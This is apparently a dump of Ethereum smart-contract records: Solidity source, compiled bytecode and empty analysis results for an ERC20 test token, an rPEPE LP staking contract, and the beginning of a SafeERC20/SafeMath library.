663ffffffff610c9f16565b6001600160a01b0382166108f25760405162461bcd60e51b8152600401808060200182810382526021815260200180610d656021913960400191505060405180910390fd5b600254610905908263ffffffff610c4216565b6002556001600160a01b038216600090815260208190526040902054610931908263ffffffff610c4216565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61099082826108ad565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a6918491610862908563ffffffff610c4216565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610811918590610862908663ffffffff610c4216565b6000610811338484610b00565b6001600160a01b038316610a595760405162461bcd60e51b8152600401808060200182810382526024815260200180610dab6024913960400191505060405180910390fd5b6001600160a01b038216610a9e5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d436022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b455760405162461bcd60e51b8152600401808060200182810382526025815260200180610d866025913960400191505060405180910390fd5b6001600160a01b038216610b8a5760405162461bcd60e51b8152600401808060200182810382526023815260200180610cfa6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb3908263ffffffff610c4216565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be8908263ffffffff610c9f16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c99576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561044c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820cfe5beaf7ae58177792aa3a9025dd818762602598e6075bad2c0e638fb2f346064736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 10,518 |
0x6c7668619fb592f75e863b126931ad6940cab492 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if
subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view
returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of
tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the
risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One
possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0
and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed
to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available
for the spender.
*/
function allowance(address _owner, address _spender) public view
returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls
(and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public
returns (bool) {
allowed[msg.sender][_spender] =
allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls
(and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue)
public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are
pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using
`transfer` and other
* `StandardToken` functions.
*/
contract SimpleToken is StandardToken {
string public constant name = "TestTokenGive"; // solium-disable-line uppercase
string public constant symbol = "TestTokenGive"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 9600000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function SimpleToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[0x18CA33A08620D04D6D750066bB4DCCAEA97a530A] = INITIAL_SUPPLY;
Transfer(0x0, 0x18CA33A08620D04D6D750066bB4DCCAEA97a530A, INITIAL_SUPPLY);
}
} | 0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b41146100be578063a9059cbb14610248578063d73dd6231461026a578063dd62ed3e1461028c575b600080fd5b34156100c957600080fd5b6100d16102b1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356102e8565b604051901515815260200160405180910390f35b341561018957600080fd5b610191610354565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a036004358116906024351660443561035a565b34156101d657600080fd5b6101916104da565b34156101e957600080fd5b6101f16104ea565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a03600435166024356104ef565b341561023457600080fd5b610191600160a060020a03600435166105e9565b341561025357600080fd5b61016a600160a060020a0360043516602435610604565b341561027557600080fd5b61016a600160a060020a0360043516602435610716565b341561029757600080fd5b610191600160a060020a03600435811690602435166107ba565b60408051908101604052600d81527f54657374546f6b656e4769766500000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561037157600080fd5b600160a060020a03841660009081526020819052604090205482111561039657600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156103c957600080fd5b600160a060020a0384166000908152602081905260409020546103f2908363ffffffff6107e516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610427908363ffffffff6107f716565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461046d908363ffffffff6107e516565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b1f04ef12cb04cf158000000081565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561054c57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610583565b61055c818463ffffffff6107e516565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561061b57600080fd5b600160a060020a03331660009081526020819052604090205482111561064057600080fd5b600160a060020a033316600090815260208190526040902054610669908363ffffffff6107e516565b600160a060020a03338116600090815260208190526040808220939093559085168152205461069e908363ffffffff6107f716565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461074e908363ffffffff6107f716565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107f157fe5b50900390565b60008282018381101561080657fe5b93925050505600a165627a7a723058201263b0baaad1592ee681608f39ffb328bbf5ff8238ae076cf9768698138954300029 | {"success": true, "error": null, "results": {}} | 10,519 |
0x67cceeb02553e3277c16fd3cee586a714f4f7042 | pragma solidity 0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
function totalSupply() external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function transfer(address recipient, uint amount) external returns (bool);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract RPEPELPURPLE is Context {
using SafeMath for uint256;
// Contract state variables
address private _UniswapV2Pair;
uint256 private _totalStakedAmount;
mapping(address => uint256) private _stakedAmount;
address[] private _stakers;
// Events
event Staked(address account, uint256 amount);
event Unstaked(address account, uint256 amount);
constructor(address UniswapV2Pair) public {
_UniswapV2Pair = UniswapV2Pair;
}
/**
* @dev Stake rPEPE-ETH LP tokens
*
* Requirement
*
* - In this pool, don't care about 2.5% fee for stake/unstake
*
* @param amount: Amount of LP tokens to deposit
*/
function stake(uint256 amount) public {
require(amount > 0, "Staking amount must be more than zero");
// Transfer tokens from staker to the contract amount
require(IUniswapV2Pair(_UniswapV2Pair).transferFrom(_msgSender(), address(this), uint(amount)), "It has failed to transfer tokens from staker to contract.");
// add staker to array
if (_stakedAmount[_msgSender()] == 0) {
_stakers.push(_msgSender());
}
// Increase the total staked amount
_totalStakedAmount = _totalStakedAmount.add(amount);
// Add new stake amount
_stakedAmount[_msgSender()] = _stakedAmount[_msgSender()].add(amount);
emit Staked(_msgSender(), amount);
}
/**
* @dev Unstake staked rPEPE-ETH LP tokens
*
* Requirement
*
* - In this pool, don't care about 2.5% fee for stake/unstake
*
* @param amount: Amount of LP tokens to unstake
*/
function unstake(uint256 amount) public {
// Transfer tokens from contract amount to staker
require(IUniswapV2Pair(_UniswapV2Pair).transfer(_msgSender(), uint(amount)), "It has failed to transfer tokens from contract to staker.");
// Decrease the total staked amount
_totalStakedAmount = _totalStakedAmount.sub(amount);
// Decrease the staker's amount
_stakedAmount[_msgSender()] = _stakedAmount[_msgSender()].sub(amount);
// remove staker from array
if (_stakedAmount[_msgSender()] == 0) {
for (uint256 i=0; i < _stakers.length; i++) {
if (_stakers[i] == _msgSender()) {
_stakers[i] = _stakers[_stakers.length.sub(1)];
_stakers.pop();
break;
}
}
}
emit Unstaked(_msgSender(), amount);
}
/**
* @dev API to get the total staked LP amount of all stakers
*/
function getTotalStakedLPAmount() external view returns (uint256) {
return _totalStakedAmount;
}
/**
* @dev API to get the staker's staked LP amount
*/
function getStakedLPAmount(address account) external view returns (uint256) {
return _stakedAmount[account];
}
/**
* @dev API to get the total staked rPEPE amount of all stakers
*/
function getTotalStakedAmount() external view returns (uint256) {
return _getStakedPepeAmount(_totalStakedAmount);
}
/**
* @dev API to get the staker's staked rPEPE amount
*/
function getStakedAmount(address account) external view returns (uint256) {
return _getStakedPepeAmount(_stakedAmount[account]);
}
/**
* @dev API to get the staker's array
*/
function getStakers() external view returns (address[] memory) {
return _stakers;
}
/**
* @dev count and return pepe amount from lp token amount in uniswap v2 pool
*
* Formula
*
* - rPEPE = (staked LP / total LP in uniswap pool) * rPEPE in uniswap pool
*/
function _getStakedPepeAmount(uint256 amount) internal view returns (uint256) {
(uint112 pepeAmount,,) = IUniswapV2Pair(_UniswapV2Pair).getReserves();
// get the total amount of LP token in uniswap v2 pool
uint totalAmount = IUniswapV2Pair(_UniswapV2Pair).totalSupply();
return amount.mul(uint256(pepeAmount)).div(uint256(totalAmount));
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a, m);
uint256 d = sub(c, 1);
return mul(div(d,m),m);
}
}
| 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80634da6a5561161005b5780634da6a5561461012d578063a694fc3a14610185578063cd0aa381146101b3578063cf1fe30c1461020b5761007d565b80632e17de781461008257806338adb6f0146100b057806343352d61146100ce575b600080fd5b6100ae6004803603602081101561009857600080fd5b8101908080359060200190929190505050610229565b005b6100b8610668565b6040518082815260200191505060405180910390f35b6100d661067a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156101195780820151818401526020810190506100fe565b505050509050019250505060405180910390f35b61016f6004803603602081101561014357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610708565b6040518082815260200191505060405180910390f35b6101b16004803603602081101561019b57600080fd5b8101908080359060200190929190505050610759565b005b6101f5600480360360208110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610213610b5b565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61026e610b65565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102d857600080fd5b505af11580156102ec573d6000803e3d6000fd5b505050506040513d602081101561030257600080fd5b8101908080519060200190929190505050610368576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806110706039913960400191505060405180910390fd5b61037d81600154610b6d90919063ffffffff16565b6001819055506103dc8160026000610393610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6d90919063ffffffff16565b600260006103e8610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060026000610434610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156105f35760008090505b6003805490508110156105f157610490610b65565b73ffffffffffffffffffffffffffffffffffffffff16600382815481106104b357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105e45760036105156001600380549050610b6d90919063ffffffff16565b8154811061051f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003828154811061055757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060038054806105aa57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556105f1565b808060010191505061047b565b505b7f0f5bb82176feb1b5e747e28471aa92156a04d9f3ab9f45f28e2d704232b93f7561061c610b65565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000610675600154610bb7565b905090565b606060038054806020026020016040519081016040528092919081815260200182805480156106fe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116106b4575b5050505050905090565b6000610752600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb7565b9050919050565b600081116107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110ca6025913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd6107f7610b65565b30846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561089557600080fd5b505af11580156108a9573d6000803e3d6000fd5b505050506040513d60208110156108bf57600080fd5b8101908080519060200190929190505050610925576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806110376039913960400191505060405180910390fd5b600060026000610933610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156109df57600361097e610b65565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6109f481600154610d5890919063ffffffff16565b600181905550610a538160026000610a0a610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d5890919063ffffffff16565b60026000610a5f610b65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d610ac6610b65565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600154905090565b600033905090565b6000610baf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610de0565b905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c2157600080fd5b505afa158015610c35573d6000803e3d6000fd5b505050506040513d6060811015610c4b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdd57600080fd5b505afa158015610cf1573d6000803e3d6000fd5b505050506040513d6020811015610d0757600080fd5b81019080805190602001909291905050509050610d4f81610d41846dffffffffffffffffffffffffffff1687610ea090919063ffffffff16565b610f2690919063ffffffff16565b92505050919050565b600080828401905083811015610dd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290610e8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610e52578082015181840152602081019050610e37565b50505050905090810190601f168015610e7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831415610eb35760009050610f20565b6000828402905082848281610ec457fe5b0414610f1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806110a96021913960400191505060405180910390fd5b809150505b92915050565b6000610f6883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f70565b905092915050565b6000808311829061101c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fe1578082015181840152602081019050610fc6565b50505050905090810190601f16801561100e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161102857fe5b04905080915050939250505056fe497420686173206661696c656420746f207472616e7366657220746f6b656e732066726f6d207374616b657220746f20636f6e74726163742e497420686173206661696c656420746f207472616e7366657220746f6b656e732066726f6d20636f6e747261637420746f207374616b65722e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775374616b696e6720616d6f756e74206d757374206265206d6f7265207468616e207a65726fa2646970667358221220d596ab9da0d51e467fdb28ad5963f4baf65c65cbb074a237b0f4c600fb047fa364736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,520 |
0xe591429d416ca62dd44d077fb47a57f935e98cff | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
